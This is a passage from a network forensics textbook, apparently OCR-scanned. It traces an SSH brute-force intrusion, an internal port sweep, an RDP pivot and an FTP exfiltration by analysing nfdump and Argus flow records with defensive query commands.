be aware that Network Address Translation (NAT) is used on this network. The DMZ
IP address 10.30.30.20 translates to the external address 172.30.1.231, and the internal IP
address 192.168.30.101 translates to the external address 172.30.1.227. Please note that the
command output shown in the analysis had been modified of fit the page (in some cases,
extraneous columns have been removed for brevity).

5.7.1 Analysis: First Steps

Let’s begin by using nfdump to browse flow records relating to our known attacker system,
172.30.1.77, beginning at the time of interest (2011-04-27 12:51:46.130):

'host 172.30.1.77"
Src IP Addr:Port X-Src IP Addr:Port

$ nfdump -R cisco-asa-nfcapd/

Date flow start Proto Dst IP

Addr :Port Event XEvent Bytes

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:135 DENIED I-ACL ©

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:139 DENIED I-ACL ©

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:256 DENIED I-ACL ©

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:5900 DENIED I-ACL O

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:3389 DENIED I-ACL O

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:80 DENIED I-ACL O

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:995 DENIED I-ACL ©

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:143 DENIED I-ACL ©

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:1720 DENIED I-ACL ©

2011-04-27 12:51:46.130 TCP 172.30.1.77:44197 172.30.1.77:44197 ->
172.30.1.231:1025 DENIED I-ACL ©

Notice that the

source port on the attacker system remains the same, even as it makes
fast connection attempts to different destination ports on the targeted system, 172.30.1.231.
This is common behavior for an automated port scanner.

Using nfdump, we can determine which ports the attacker may have found open on the

targeted system, 172.30.1.231. Notice that the firewall “DENIED” traffic to most targeted
ports. The flows that were not DENIED by the firewall actually reached the targeted system
and may have resulted in a response. In this case, the only port that did not result in a
DENIED response from the firewall was TCP port 22 on 172.30.1.231, as shown below:
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'host 172.30.1.77"
Src IP Addr:Port X-Src IP Addr:Port

$ nfdump -R cisco-asa-nfcapd/
Date flow start Proto

Addr :Port Event XEvent Bytes

2011-04-27 12:51:47.330 TCP 172.30.1.77:44197 172.30.1.77:44197
172.30.1.231:443 DENIED I-ACL 0

2011-04-27 12:51:47.330 TCP 172.30.1.77:44197 172.30.1.77:44197
172.30.1.231:8080 DENIED I-ACL 0

2011-04-27 12:51:47.330 TCP 172.30.1.77:44197 172.30.1.77:44197
172.30.1.231:22 CREATE 1Ignore 0

2011-04-27 12:51:47.340 TCP 172.30.1.77:44197 172.30.1.77:44197
172.30.1.231:22 DELETE Deleted 0

2011-04-27 12:51:47.340 TCP 172.30.1.77:44197 172.30.1.77:44197
172.30.1.231:554 DENIED I-ACL 0

2011-04-27 12:51:47.340 TCP 172.30.1.77:44197 172.30.1.77:44197
172.30.1.231:21 DENIED I-ACL 0

5.7.2 External Attacker and Port 22 Traffic
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Dst IP

Was there any more traffic on port 22 (TCP) relating to the attacker? In the nfdump
command below, we filter the flow data to pull out only records pertaining to the attacker
system and TCP port 22. Beginning at 2011-04-27 12:52:30.111, we see a series of connection
attempts on port 22 of size 3,755 bytes. These occur in rapid succession (roughly every 6

seconds) until 2011-04-27 13:00:45.452.

$ nfdump -R cisco-asa-nfcapd/
Date flow start Proto

'host 172.30.1.77 and port 22'
Src IP Addr:Port X-Src IP Addr:Port

Addr :Port Event XEvent Bytes

2011-04-27 13:00:16.672 TCP 172.30.1.77:56356 172.30.1.77:56356
172.30.1.231:22 DELETE Deleted 3755

2011-04-27 13:00:22.722 TCP 172.30.1.77:56358 172.30.1.77:56358
172.30.1.231:22 CREATE 1Ignore 0

2011-04-27 13:00:22.732 TCP 172.30.1.77:56357 172.30.1.77:56357
172.30.1.231:22 DELETE Deleted 3755

2011-04-27 13:00:29.532 TCP 172.30.1.77:56359 172.30.1.77:56359
172.30.1.231:22 CREATE Ignore 0

2011-04-27 13:00:29.532 TCP 172.30.1.77:563568 172.30.1.77:56358
172.30.1.231:22 DELETE Deleted 3755

2011-04-27 13:00:35.612 TCP 172.30.1.77:56360 172.30.1.77:56360
172.30.1.231:22 CREATE 1Ignore 0

2011-04-27 13:00:35.612 TCP 172.30.1.77:56359 172.30.1.77:56359
172.30.1.231:22 DELETE Deleted 3755

2011-04-27 13:00:41.962 TCP 172.30.1.77:56361 172.30.1.77:56361
172.30.1.231:22 CREATE 1Ignore 0

2011-04-27 13:00:41.962 TCP 172.30.1.77:56360 172.30.1.77:56360
172.30.1.231:22 DELETE Deleted 3603

2011-04-27 13:00:45.452 TCP 172.30.1.77:56361 172.30.1.77:56361
172.30.1.231:22 DELETE Deleted 3335

2011-04-27 13:01:00.133 TCP 172.30.1.77:56362 172.30.1.77:56362
172.30.1.231:22 CREATE 1Ignore 0

Dst IP

What does this pattern mean? First of all, by default TCP port 22 is assigned to SSH
protocol by TANA.#° SSH is a remote access service that is commonly targeted for brute-force

45. “Port Numbers,” July 7, 2011, http://www.iana.org/assignments/port-numbers.
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password-guessing attacks when attackers find it exposed. Brute-force password-guessing
attacks are typically automated and produce connection attempts at regular intervals with
approximately the same, small amount of data transferred each time. While it is possible to set
up the SSH server on a different port (and many people do, to obfuscate the attack surface),
the pattern of this traffic (both frequency and port numbers) supports the hypothesis that
this is a brute-force password-guessing attack against an externally accessible SSH service.

As you can see, at 2011-04-27 13:00:41.962, the bytes transferred suddenly changed. This
was followed by one more very quick connection, and then at 2011-04-27 13:01:00.133 a flow
was created between the attacker (172.30.1.77) and the target (172.30.1.231) on port TCP
22, which did not expire within the time frame of the recorded evidence. The length of this
flow implies that the connection was probably successful. Of course, we will want to follow
up by examining the internal flow record data and the authentication logs, if available.

From the timing, port number, and data transfer sizes of the flows, we hypothesize that
these flow records indicate an automated brute-force password-guessing attack on an SSH
server running on the targeted system, 172.30.1.231. After approximately 8 minutes, this
attack probably resulted in a successful SSH login.

Now let’s turn our attention to the internal Argus flow record data. Searching for traffic
relating to the attacker, 172.30.1.77 and port 22, we see:

$ ra -z -nn -r argus-collector.ra - 'src host 172.30.1.77 and port 22'

StartTime Proto SrcAddr Sport Dir DstAddr Dport TotPkts State
04-27-11 12:51:55 6 172.30.1.77.44197 -> 10.30.30.20.22 3 sSR
04-27-11 12:51:57 6 172.30.1.77.44208 -> 10.30.30.20.22 3 sSR
04-27-11 12:51:58 6 172.30.1.77.44209 -> 10.30.30.20.22 3 sSR
04-27-11 12:52:38 6 172.30.1.77.54348 -> 10.30.30.20.22 43 sSEfF
04-27-11 12:52:44 6 172.30.1.77.54349 -> 10.30.30.20.22 42 sSEfF
04-27-11 12:52:50 6 172.30.1.77.54350 -> 10.30.30.20.22 42 sSEfF
04-27-11 12:52:56 6 172.30.1.77.54351 -> 10.30.30.20.22 42 sSEfF
04-27-11 12:53:02 6 172.30.1.77.54352 -> 10.30.30.20.22 42 sSEfF
04-27-11 12:53:09 6 172.30.1.77.54353 -> 10.30.30.20.22 42 sSEfF
04-27-11 12:53:15 6 172.30.1.77.54354 -> 10.30.30.20.22 42 sSEfF

Recall that the internal NAT-ed address 10.30.30.20 corresponds with the external ad-
dress 172.30.1.231 (they are the same server). Accounting for 8 seconds of time skew between
the Cisco ASA and the Argus server, the Argus flow records show the same attempts to con-
nect to TCP port 22 on the same server during the same time frame—correlating evidence.
Using the ra utility’s -z flag, we can also see the TCP state changes in the flow records, as
described below:

$ man ra

-z Modify status field to represent TCP state changes. The values
of the status field when this is enabled are:

's' - Syn Transmitted
'S' - Syn Acknowledged
'E' - TCP Established
'f' - Fin Transmitted (FIN Wait State 1)
'F' - Fin Acknowledged (FIN Wait State 2)

'R' - TCP Reset
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From this information, we can see that the attacker first initiated a connection to
10.30.30.20:22 three times (sent a TCP SYN, received a SYN-ACK, sent a RST). The
connection was aborted by the attacker before the TCP handshake was completed. This
matches the behavior of a port scanner testing to see if port 22 is open using a TCP SYN
scan (notably, the default nmap behavior when run with administrative privileges). Having
received a TCP SYN/ACK back from the server, the attacker has verified that indeed the
port is open:

$ ra -z -nn -r argus-collector.ra - 'src host 172.30.1.77 and port 22'
StartTime Proto SrcAddr Sport Dir DstAddr Dport TotPkts State
04-27-11 12:51:55 6 172.30.1.77.44197 -> 10.30.30.20.22 3 sSR
04-27-11 12:51:57 6 172.30.1.77.44208 -> 10.30.30.20.22 3 sSR
04-27-11 12:51:58 6 172.30.1.77.44209 -> 10.30.30.20.22 3 sSR

Next, we see the series of short connections to port 22 approximately every 6 seconds.
In the flows below, the attacker sent a TCP SYN packet, received a SYN ACK packet,
established a full TCP handshake, sent a FIN packet, and received a FIN packet. This is a
full, successful Layer 4 TCP communication, over which application data could have been
sent. (Note that Argus, unlike nfdump, displays the number of bytes transferred including
the lower-layer Ethernet frame and IP headers.)

$ ra -z -nn -r argus-collector.ra - 'src host 172.30.1.77 and port 22'
StartTime Proto SrcAddr Sport Dir DstAddr Dport TotBytes State

04-27-11 12:52:38

6 172.30.1.77.54348 -> 10.30.30.20.22 6609 sSEfF
04-27-11 12:52:44 6 172.30.1.77.54349 -> 10.30.30.20.22 6543 sSEfF
04-27-11 12:52:50 6 172.30.1.77.54350 -> 10.30.30.20.22 6543 sSEfF
04-27-11 12:52:56 6 172.30.1.77.54351 -> 10.30.30.20.22 6543 sSEfF
04-27-11 12:53:02 6 172.30.1.77.54352 -> 10.30.30.20.22 6543 sSEfF
04-27-11 12:53:09 6 172.30.1.77.54353 -> 10.30.30.20.22 6543 sSEfF
04-27-11 12:53:15 6 172.30.1.77.54354 -> 10.30.30.20.22 6543 sSEfF

Finally, starting at 04-27-11 13:00:44 (Argus time), we see two smaller, short, completed
connections followed by a series of longer established TCP connections on port 22, with
no FIN packets logged as part of the flow. These established TCP connections between
172.30.1.77 and 10.30.30.20:22 continue from 04-27-11 13:01:08 through 04-27-11 13:15:55,
more than 15 minutes:

$ ra -z -n -r argus-collector.ra - 'src host 172.30.1.77 and port 22'
StartTime Proto SrcAddr Sport Dir DstAddr Dport TotBytes State

04-27-11 13:00:31 tcp 172.30.

1.77.563568 -> 10.30.30.20.22 6543 sSEfF
04-27-11 13:00:38 tcp 172.30.1.77.56359 -> 10.30.30.20.22 6543 sSEfF
04-27-11 13:00:44 tcp 172.30.1.77.56360 -> 10.30.30.20.22 6127 sSEfF
04-27-11 13:00:50 tcp 172.30.1.77.56361 -> 10.30.30.20.22 5661 sSEfF
04-27-11 13:01:08 tcp 172.30.1.77.56362 -> 10.30.30.20.22 147296 sSE
04-27-11 13:02:11 tcp 172.30.1.77.56362 -> 10.30.30.20.22 77440 sSE
04-27-11 13:03:11 tcp 172.30.1.77.56362 -> 10.30.30.20.22 24508 sSE
04-27-11 13:04:14 tcp 172.30.1.77.56362 -> 10.30.30.20.22 447368 sSE
04-27-11 13:05:24 tcp 172.30.1.77.56362 -> 10.30.30.20.22 228032 sSE
04-27-11 13:06:24 tcp 172.30.1.77.56362 -> 10.30.30.20.22 47906 sSE
04-27-11 13:07:55 tcp 172.30.1.77.56362 -> 10.30.30.20.22 1108 sSE
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$ ra -z -n -r argus-collector.ra

04-27-11
04-27-11
04-27-11
04-27-11
04-27-11
04-27-11
04-27-11
04-27-11

StartTime

13:
13:
13:
13:
13:
13:
13:
13:

08:
09:
10:
11:
12:
13:
14:
15:

55
55
55
55
55
55
55
55

Proto

tcp
tcp
tcp
tcp
tcp
tcp
tcp
tcp

172.
172.
172.
172.
172.
172.
172.
172.

SrcAddr
30.1.77.
30.1.77.
30.1.77.
30.1.77.
30.1.77.
30.1.77.
30.1.77.
30.1.77.

'src host
Sport Dir

56362
56362
56362
56362
56362
56362
56362
56362

172.30.1.

DstAddr

10.
10.
10.
10.
10.
10.
10.
10.

30.
30.
30.
30.
30.
30.
30.
30.

30.
30.
30.
30.
30.
30.
30.
30.

77 and port 22'
Dport

20.
20.
20.
20.
20.
20.
20.
20.

22
22
22
22
22
22
22
22

TotBytes

1124
1092
80742
1124
1124
1092
1108
1108
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State

sSE
sSE
sSE
sSE
sSE
sSE
sSE
sSE

The sudden halt of short, regular connection attempts, followed by larger, longer flow
records with more data associated, fits with the pattern of a brute-force password-guessing
attack that was successful and was subsequently followed by an extended SSH login through
at least 13:15:55. This pattern is illustrated using the Argus utility “ragraph” in Figure 5-5.

The following command was used to generate the graph in Figure 5-5:

$ ragraph bytes

-title

-M 1s

-r argus-collector.ra -t 2011/04/27.12:52+10m \
"Traffic Snippet from 172.30.1.77 on Port 22 (TCP)" \

- 'src host 172.30.1.77 and dst host 10.30.30.20 and port 22'

~ozal bits/sec

M TotBytes

Wed Apr 27 2011

Traffic Snippet frem 172.30.1.77 on Port 22 (TCP)

13.00

Figure 5-5. A graph of Argus flow record data from the attacker (172.30.1.77) to a vic-
tim server in the DMZ (10.30.30.20) on port 22. Notice the 8-minute automated brute-force
password-guessing attack, followed by a short break, and then followed by a higher-bandwidth
exchange of data (implying that the attack was probably successful).

5.7.3 The DMZ Victim—10.30.30.20 (aka 172.30.1.231)

Now let’s get more information about the activities of 10.30.30.20, the targeted DMZ system.
The first noticeably different SSH connection from 172.30.1.77 to 10.30.30.20 occurred
at 04-27-11 13:01:08 (in the Argus flow record data). The size of the data transferred
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during this flow was substantially larger than previous attempts, likely indicating a suc-
cessful connection. More than a minute later, we see another connection on port 22. The
slower timing of these connections also implies a possible manual connection after the au-
tomated brute-force tool completed.

Subsequently, we see 10.30.30.20 communicating over port 80 to an external IP address,
91.189.92.166.80. Then, at 13:03:31, it began sending TCP SYN packets to internal systems
on ports 80 and 443. At 13:03:44, these packets were targeted at sequential, incrementing
IP addresses—very common for an automated port sweep. Notice the sequential destination
IP addresses all on the same ports (80 and later 443). The system 10.30.30.20 continued to
send TCP SYN packets to ports 80 and 443 on the internal networks until 13:03:49. In most
cases, the targeted systems did not respond with a TCP SYN/ACK packet—or any packet
at all—as shown in the “State” column:

$ ra -z -nnr argus-collector.ra - 'host 10.30.30.20 and not udp and not port
514 and not port 53'

StartTime Proto SrcAddr Sport Dir DstAddr Dport TotPkts State
04-27-11 13:02:57 6 10.30.30.20.36339 -> 91.189.92.166.80 508 SEfF
04-27-11 13:02:58 6 10.30.30.20.35194 -> 91.189.92.161.80 1221 sSEfF
04-27-11 13:03:11 6 172.30.1.77.56362 -> 10.30.30.20.22 214 sSE
04-27-11 13:03:31 6 10.30.30.20.60833 -> 10.30.30.10.80 1 s
04-27-11 13:03:33 6 10.30.30.20.32907 -> 10.30.30.10.80 1 s
04-27-11 13:03:33 6 10.30.30.20.53778 -> 10.30.30.10.443 1 s
04-27-11 13:03:33 6 10.30.30.20.53808 -> 10.30.30.10.443 1 s
04-27-11 13:03:44 6 10.30.30.20.41339 -> 192.168.30.1.80 1 s
04-27-11 13:03:44 6 10.30.30.20.42486 -> 192.168.30.2.80 1 s
04-27-11 13:03:44 6 10.30.30.20.48181 -> 192.168.30.3.80 1 s
04-27-11 13:03:44 6 10.30.30.20.56116 -> 192.168.30.4.80 1 s
04-27-11 13:03:44 6 10.30.30.20.58905 -> 192.168.30.5.80 1 s
04-27-11 13:03:44 6 10.30.30.20.37560 -> 192.168.30.6.80 1 s
04-27-11 13:03:44 6 10.30.30.20.36524 -> 192.168.30.7.80 1 s
04-27-11 13:03:44 6 10.30.30.20.35544 -> 192.168.30.8.80 1 s
04-27-11 13:03:44 6 10.30.30.20.43568 -> 192.168.30.9.80 1 s
04-27-11 13:03:49 6 10.30.30.20.48728 -> 192.168.30.86.443 1 s
04-27-11 13:03:49 6 10.30.30.20.55470 -> 192.168.30.116.443 1 s
04-27-11 13:03:49 6 10.30.30.20.48601 -> 192.168.30.119.443 1 s
04-27-11 13:03:49 6 10.30.30.20.58087 -> 192.168.30.87.443 1 s

Which systems did respond to the port sweep? We can easily pick these needles out of
the haystack using a filter that searches for flow records where the number of packets sent
from the targeted systems back to the port scanner was greater than zero:

$ ra -z -t 2011/04/27.13:03:31+18s -nnr argus-collector.ra -s stime saddr

sport dir daddr dport spkts dpkts state - 'host 10.30.30.20 and port (80

or 443) and tcp and dst pkts gt O
StartTime SrcAddr Sport Dir DstAddr Dport SrcPkt DstPkt State
04-27-11 13:03:47 10.30.30.20.39307 -> 192.168.30.30.80 2 2 sR
04-27-11 13:03:47 10.30.30.20.53512 -> 192.168.30.90.80 3 3 sR

From this, we see that the two systems 192.168.30.30 and 192.168.30.90 sent TCP RST
packets back to 10.30.30.20. This indicates that port 80 was not open on those systems, but
the systems were in fact alive.
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At 04-27-11 13:03:49, 10.30.30.20 changed behavior and began sending SYN packets
exclusively to a range of ports on the two systems that had responded, 192.168.30.30 and
192.168.30.90. The pattern lasted only through 13:03:50 (2 seconds). This behavior is indica-
tive of a port scan against the two hosts, 192.168.30.30 and 192.168.30.90, as shown below.

$ ra -z -nnr argus-collector.ra - 'host 10.30.30.20'
StartTime Proto SrcAddr Sport Dir DstAddr Dport TotBytes
State
04-27-11 13:03:49 6 10.30.30.20.52140 -> 192.168.30.90.143 262 sR
04-27-11 13:03:49 6 10.30.30.20.45717 -> 192.168.30.30.143 268 sR
04-27-11 13:03:49 6 10.30.30.20.60813 -> 192.168.30.90.1723 262 sR
04-27-11 13:03:49 6 10.30.30.20.39655 -> 192.168.30.30.1723 268 sR
04-27-11 13:03:49 6 10.30.30.20.35499 -> 192.168.30.90.5900 262 sR
04-27-11 13:03:49 6 10.30.30.20.55132 -> 192.168.30.30.5900 268 sR
04-27-11 13:03:49 6 10.30.30.20.43935 -> 192.168.30.90.8888 262 sR
04-27-11 13:03:49 6 10.30.30.20.49207 -> 192.168.30.30.8888 268 sR
04-27-11 13:03:49 6 10.30.30.20.59231 -> 192.168.30.90.8080 262 sR
04-27-11 13:03:49 6 10.30.30.20.58646 -> 192.168.30.30.8080 268 sR
04-27-11 13:03:49 6 10.30.30.20.58594 -> 192.168.30.90.3389 262 sR
04-27-11 13:03:49 6 10.30.30.20.35855 -> 192.168.30.30.3389 268 sR
04-27-11 13:03:50 6 10.30.30.20.45320 -> 192.168.30.90.24800 262 sR
04-27-11 13:03:50 6 10.30.30.20.46080 -> 192.168.30.30.24800 268 sR
04-27-11 13:03:50 6 10.30.30.20.53337 -> 192.168.30.90.9207 262 sR
04-27-11 13:03:50 6 10.30.30.20.58434 -> 192.168.30.30.9207 268 sR

We can use a quick Bash shell command to sort and count the destination ports targeted.
As you can see below, 10.30.30.20 targeted exactly 1,000 different port numbers. (Experi-
enced penetration testers will recall that by default Nmap, the world’s most popular port
scanner, “scans the most common 1,000 ports for each protocol.” 46)

$ ra -z -t 2011/04/27.13:03:49+2s -nnr argus-collector.ra -s dport - 'host
10.30.30.20 and dst host (192.168.30.30 or 192.168.30.90) ' | grep -v Dport
| sort -u | wc -1
1000

Which ports did the attacker find open on the targeted internal systems, 192.168.30.30
and 192.168.30.907 By filtering for TCP SYN/ACK packets, we can see that the attacker
found 192.168.30.90:22 (TCP), 192.168.30.30:22 (TCP), and 192.168.30.30:514 (TCP) open,
as shown below:

$ ra -z -t 2011/04/27.13:03:49+2s -nnr argus-collector.ra - 'host
10.30.30.20 and dst host (192.168.30.30 or 192.168.30.90) and synack'
StartTime Proto SrcAddr Sport Dir DstAddr Dport TotBytes State

04-27-11 13:03:49 6 10.30.30.20.46692 -> 192.168.30.90.22 560 sSER
04-27-11 13:03:49 6 10.30.30.20.36307 -> 192.168.30.30.22 560 sSER
04-27-11 13:03:49 6 10.30.30.20.39370 -> 192.168.30.30.514 560 sSER

46. Gordon “Fyodor” Lyon, “Port Specification and Scan Order,” NMAP, 2011, http://nmap.org/
book/man-port-specification.html.
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Next, between 13:04:09 through 13:04:14, 10.30.30.20 began sending TCP SYN packets
to sequential IP addresses on the 192.168.30.1/24 network, but only targeted at TCP port
3389, as shown below:

StartTime Proto SrcAddr Sport Dir DstAddr Dport TotBytes State

04-27-11 13:04:09 6 10.30.30.20.56212 -> 192.168.30.1.3389 74 s
04-27-11 13:04:09 6 10.30.30.20.56255 -> 192.168.30.2.3389 74 s
04-27-11 13:04:09 6 10.30.30.20.52168 -> 192.168.30.3.3389 74 s
04-27-11 13:04:09 6 10.30.30.20.45057 -> 192.168.30.4.3389 74 s
04-27-11 13:04:09 6 10.30.30.20.32898 -> 192.168.30.5.3389 74 s
04-27-11 13:04:09 6 10.30.30.20.55453 -> 192.168.30.6.3389 74 s
04-27-11 13:04:09 6 10.30.30.20.48122 -> 192.168.30.7.3389 74 s
04-27-11 13:04:09 6 10.30.30.20.39936 -> 192.168.30.8.3389 74 s
04-27-11 13:04:09 6 10.30.30.20.51199 -> 192.168.30.9.3389 74 s
04-27-11 13:04:09 6 10.30.30.20.40066 -> 192.168.30.10.3389 74 s
04-27-11 13:04:14 6 10.30.30.20.47058 -> 192.168.30.221.3389 74 s
04-27-11 13:04:14 6 10.30.30.20.47002 -> 192.168.30.232.3389 74 s
04-27-11 13:04:14 6 10.30.30.20.40560 -> 192.168.30.226.3389 74 s

This is indicative of a port sweep targeting TCP port 3389 (commonly associated with
Microsoft’s Remote Desktop Protocol). We can see which systems responded by again search-
ing for TCP SYN/ACK responses within that time frame:

$ ra -z -t 2011/04/27.13:04:09+6s -nnr argus-collector.ra - 'host
10.30.30.20 and net 192.168.30.0/24 and synack'
StartTime Proto SrcAddr Sport Dir DstAddr Dport TotBytes State
04-27-11 13:04:13 6 10.30.30.20.41371 -> 192.168.30.100.3389 560 sSER
04-27-11 13:04:13 6 10.30.30.20.33786 -> 192.168.30.101.3389 568 sSER
04-27-11 13:04:13 6 10.30.30.20.57473 -> 192.168.30.102.3389 568 sSER

The attacker would have found that three systems on the 192.168.30.0/24 network have
TCP port 3389 open: 192.168.30.100, 192.168.30.101, and 192.168.30.102.

After the port sweep of port 3389 is completed, we see a series of flows from the DMZ
system 10.30.30.20 to 192.168.30.101 on port 3389 (RDP), spanning more than 11 minutes:

$ ra -z -nnr argus-collector.ra - 'host 10.30.30.20 and port 3389

StartTime Proto SrcAddr Sport Dir DstAddr Dport TotBytes State
04-27-11 13:04:32 6 10.30.30.20.34187 -> 192.168.30.101.3389 568 sSER
04-27-11 13:04:32 6 10.30.30.20.34188 -> 192.168.30.101.3389 1260 sSEfF
04-27-11 13:04:54 6 10.30.30.20.34189 -> 192.168.30.101.3389 852450 sSE
04-27-11 13:05:54 6 10.30.30.20.34189 -> 192.168.30.101.3389 285408 sSE
04-27-11 13:06:54 6 10.30.30.20.34189 -> 192.168.30.101.3389 10032 sSE
04-27-11 13:07:55 6 10.30.30.20.34189 -> 192.168.30.101.3389 2128 sSE
04-27-11 13:08:55 6 10.30.30.20.34189 -> 192.168.30.101.3389 2170 sSE
04-27-11 13:09:55 6 10.30.30.20.34189 -> 192.168.30.101.3389 2116 sSE
04-27-11 13:10:55 6 10.30.30.20.34189 -> 192.168.30.101.3389 126806 sSE
04-27-11 13:11:55 6 10.30.30.20.34189 -> 192.168.30.101.3389 2180 sSE
04-27-11 13:12:55 6 10.30.30.20.34189 -> 192.168.30.101.3389 2164 sSE
04-27-11 13:13:55 6 10.30.30.20.34189 -> 192.168.30.101.3389 2112 sSE
04-27-11 13:14:55 6 10.30.30.20.34189 -> 192.168.30.101.3389 2126 sSE
04-27-11 13:15:55 6 10.30.30.20.34189 -> 192.168.30.101.3389 2140 sSE
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Recall that during this same time frame, there were also likely active SSH connections
between the external attacker, 172.30.1.77, and the DMZ victim, 10.30.30.20. Based on the
flow record data, we have seen that while this was occurring, the DMZ victim system,
10.30.30.20, conducted port scans and port sweeps of the internal ANFRF network, and
then subsequently connected to port 3389 (RDP) on an internal system, 192.168.30.101.

5.7.4 The Internal Victim—192.30.1.101

Now let’s filter for traffic relating to 192.168.30.101. In the output below, we again see the
internal port scanning traffic, followed by the port 3389 connection. Then at 13:05:33 we see
an outbound connection directly from 192.168.30.101 to our attacker system 172.30.1.77 on
TCP port 21 (FTP)!

$ ra -z -nn -r argus-collector.ra - 'host 192.168.30.101"'

StartTime Proto SrcAddr Sport Dir DstAddr Dport TotBytes State
04-27-11 13:03:47 6 10.30.30.20.47537 -> 192.168.30.101.80 148 s
04-27-11 13:03:47 6 10.30.30.20.57498 -> 192.168.30.101.443 148 s
04-27-11 13:03:49 6 10.30.30.20.57963 -> 192.168.30.101.443 148 s
04-27-11 13:03:49 6 10.30.30.20.48054 -> 192.168.30.101.80 148 s
04-27-11 13:04:04 17 192.168.30.101.1600 -> 192.168.30.30.514 13610 INT
04-27-11 13:04:13 6 10.30.30.20.33786 -> 192.168.30.101.3389 568 sSER
04-27-11 13:04:32 6 10.30.30.20.34187 -> 192.168.30.101.3389 568 sSER
04-27-11 13:04:32 6 10.30.30.20.34188 -> 192.168.30.101.3389 1260 sSEfF
04-27-11 13:04:54 6 10.30.30.20.34189 -> 192.168.30.101.3389 852450 sSE
04-27-11 13:05:06 17 192.168.30.101.1600 -> 192.168.30.30.514 4108 INT
04-27-11 13:05:33 6 192.168.30.101.1603 -> 172.30.1.77.21 1221 sSE
04-27-11 13:05:54 6 10.30.30.20.34189 -> 192.168.30.101.3389 285408 sSE
04-27-11 13:06:50 6 192.168.30.101.1603 -> 172.30.1.77.21 1254 sSE
04-27-11 13:06:50 6 172.30.1.77.20 -> 192.168.30.101.5002 558 sSEfF

File Transfer Protocol (FTP) is used for transferring files between systems. This traffic
may indicate that data was transferred from our internal system, 192.168.30.101, to the
attacker, 172.30.1.77. Filtering for FTP-related traffic (default ports TCP 20/21), we see:

$ ra -z -n -r argus-collector.ra -s stime saddr sport dir daddr dport sbytes

dbytes state - 'host 192.168.30.101 and port (20 or 21) and tcp'
StartTime SrcAddr Sport Dir DstAddr Dport SBytes DBytes State
04-27-11 13:05:33 192.168.30.101.1603 -> 172.30.1.77.21 673 548 sSE
04-27-11 13:06:50 192.168.30.101.1603 -> 172.30.1.77.21 630 624 sSE
04-27-11 13:06:50 172.30.1.77.20 -> 192.168.30.101.5002 348 210 sSEfF
04-27-11 13:07:03 172.30.1.77.20 -> 192.168.30.101.5003 998 16874 sSEfF
04-27-11 13:11:14 192.168.30.101.1603 <7> 172.30.1.77.21 180 128 EfFR

In the port 20 flow at 13:07:03, there were 16,874 bytes of data exported from the internal
system, 192.168.30.101, to the external attacker. This is certainly large enough for a decent
size file to be exported. What is the risk that data was exfiltrated? High!

Let’s see if we can correlate the internal Argus data relating to FTP with the Cisco
ASA flow records. Let’s go back to our original nfdump data. (Remember that the internal
address 192.168.30.101 is NAT-ed and corresponds with the external address, 172.30.1.227.
These are the same system!) Adjusting for our 8-second time skew, we can indeed see the
same connections in the output below. Note that the flow record data from the Cisco ASA
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shows the Layer 4 payload size (TCP payload size only rather than Ethernet frame size),
and so it reports less data transferred than the Argus utility, which includes lower-layer
frame and packet headers in its reported data transferred.

It is likely that the last flow record on port 20 indicates an outbound file transfer from
172.30.1.227 (192.168.30.101) to the attacker (172.30.1.77) of a file with a size of 15,872
bytes (or multiple files adding up to that size).
$ nfdump -R cisco-asa-nfcapd/ 'host 172.30.1.77 and (port 20 or port 21)'

Date flow start Proto Src IP Addr:Port X-Src IP Addr:Port Dst IP
Addr :Port Event XEvent Bytes

2011-04-27 13:05:24.739 TCP 192.168.30.101:1603 172.30.1.227:1603 ->

172.30.1.77:21 CREATE Ignore 0

2011-04-27 13:06:42.070 TCP 172.30.1.77:20 172.30.1.77:20 ->
172.30.1.227:5002 CREATE Ignore 0

2011-04-27 13:06:42.081 TCP 172.30.1.77:20 172.30.1.77:20 ->
172.30.1.227:5002 DELETE Deleted 10

2011-04-27 13:06:55.291 TCP 172.30.1.77:20 172.30.1.77:20 ->
172.30.1.227:5003 CREATE Ignore 0

2011-04-27 13:06:55.631 TCP 172.30.1.77:20 172.30.1.77:20 ->

172.30.1.227:5003 DELETE Deleted 15872
2011-04-27 13:11:05.767 TCP 192.168.30.101:1603 172.30.1.227:1603 ->
172.30.1.77:21 DELETE Deleted 631

5.7.5 Timeline

Based on our flow record analysis, we can create a working hypothesis of what likely tran-
spired. Of course, we must make some educated guesses in order to interpret the activity
we have seen. However, our analysis is strongly supported by the evidence, references, and
experience. With that in mind, here is a timeline of events related to the incident at ANFRF
April 27, 2011:

[Please note that the times are adjusted to match the internal Argus flow record data,
which is 8 seconds ahead of the Cisco ASA.]

e 12:49:33—Flow captures begin.

e 12:51:54—Port scanning begins from 172.30.1.77 (attacker) against 172.30.1.231
(DMZ victim). The attacker likely found that port 22 (TCP) was open on the DMZ
victim system.

e 12:52:38—172.30.1.77 begins likely brute-force password-guessing attack against an
SSH server on DMZ victim.

e 13:00:45—172.30.1.77 ends likely brute-force password-guessing attack.
e 13:01:08—172.30.1.77 begins extended connection to SSH port on DMZ victim.

e 13:03:31—DMZ victim begins port sweep of internal and DMZ networks on TCP
ports 80 and 443. Two systems on the internal network responded: 192.168.30.30 and
192.168.30.90.

e 13:03:49—DMZ victim ends port sweep of internal and DMZ networks on TCP ports
80 and 443.
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e 13:03:49—DMZ victim begins port scan of 192.168.30.30 and 192.168.30.90. 1,000
ports were targeted. The attacker found 192.168.30.90:22 (TCP), 192.168.30.30:22
(TCP), and 192.168.30.30:514 (TCP) open.

e 13:03:50—DMZ victim ends port scan of 192.168.30.30 and 192.168.30.90.

e 13:04:09—DMZ victim begins port sweep of internal network, 192.168.30.0/24, on
port 3389. Three systems on the 192.168.30.0/24 network appeared to have TCP port
3389 open: 192.168.30.100, 192.168.30.101, and 192.168.30.102.

